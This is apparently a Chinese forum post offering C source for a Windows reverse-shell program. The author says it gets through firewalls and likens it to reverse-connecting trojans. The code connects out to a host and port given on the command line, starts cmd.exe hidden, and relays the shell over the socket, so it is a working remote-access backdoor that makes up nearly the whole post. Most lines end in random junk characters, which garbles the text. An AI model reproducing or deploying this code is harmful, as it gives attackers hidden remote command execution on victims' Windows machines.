这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .Ff_s
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/* ============================== m,6hee
Rebound port in Windows NT fluGf
By wind,2006/7 +/cgw,
===============================*/ Gp|JU Fo
#include q=0 pQ1>
#include %z)EO9vtr
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#pragma comment(lib,"wsock32.lib") nQLs<]h1
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void OutputShell(); =vEkMJOs
SOCKET sClient; Zu#<
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h~UJCnzS
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void main(int argc,char **argv) 04JT@s"o
{ #7W.s!#}Dd
WSADATA stWsaData; 2d&^Sp&11
int nRet; 0XIxwc0Iw
SOCKADDR_IN stSaiClient,stSaiServer; I'InZ0J2
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if(argc != 3) H1T~u{8j}
{ KH}t:m+h
printf("Useage:\n\rRebound DestIP DestPort\n"); uPDaq ]A
return; VS`Z_Xn
} gCV rC
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WSAStartup(MAKEWORD(2,2),&stWsaData); JDhwN<0R
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L82NP)St
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stSaiClient.sin_family = AF_INET; h48 bb.p2
stSaiClient.sin_port = htons(0); E .;io*0
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); F#1kZ@nq
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) kI+b <$:D
{ Qp+lJAY
printf("Bind Socket Failed!\n"); q/'MS[C
return; Au=kSSB
} aBlbg3 q
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stSaiServer.sin_family = AF_INET; [V5-%w^
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); CWMlZVG
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~@fanR =
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :?#cDyW)
{ 0O;
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printf("Connect Error!");
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return; .v
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}
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OutputShell(); v=Mz I#0L
} i
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void OutputShell() ca}S{"
{ uXNp!tY
char szBuff[1024]; FB!z#Eim
SECURITY_ATTRIBUTES stSecurityAttributes; k4mTZ}6E
OSVERSIONINFO stOsversionInfo; _z%\'(l+
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; rgn|24x
STARTUPINFO stStartupInfo; {~1M
char *szShell; ?,V;f2c
PROCESS_INFORMATION stProcessInformation; V*uEJ6T
unsigned long lBytesRead; ee\Gl?VN
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c#x7N9;"!
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2K~tDNv7
stSecurityAttributes.lpSecurityDescriptor = 0; LOt#1Qv
stSecurityAttributes.bInheritHandle = TRUE; U]mO7 HK
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); l~{T#Q
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); qL~Pjr>cF
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); v/(__xN`B
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TP^\e_k
stStartupInfo.wShowWindow = SW_HIDE; lmp
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stStartupInfo.hStdInput = hReadPipe; =ZrjK=K
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; NN*Sb J0
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GetVersionEx(&stOsversionInfo); 5Wl,J _<F
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switch(stOsversionInfo.dwPlatformId) C64eDX^
{ -%N}A3m!5
case 1: rZ 6@b
szShell = "command.com"; jaNH](V
break; '[xut1{
default: A7e_w
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szShell = "cmd.exe"; Qvs(Rt3?y
break; WT1q15U(=
} *IVD/9/
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &U854
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send(sClient,szMsg,77,0); @US '{hO1p
while(1) ~.!?5(AH8z
{ /$<JCNGv
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +Hi{/{k0N
if(lBytesRead) {<~s&EPd
{ 0sY#MHPT&
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); l.yJA>\24I
send(sClient,szBuff,lBytesRead,0); Hv+:fr"
} [lrmuf
else %PSz o8.l
{ L5TNsLx (
lBytesRead=recv(sClient,szBuff,1024,0); s2wwmtUCN
if(lBytesRead<=0) break; _{3k+DQ
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =+k&&vOAn
} [v~Uy$d\
} dcM+ylB
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return; *%z<P~}
}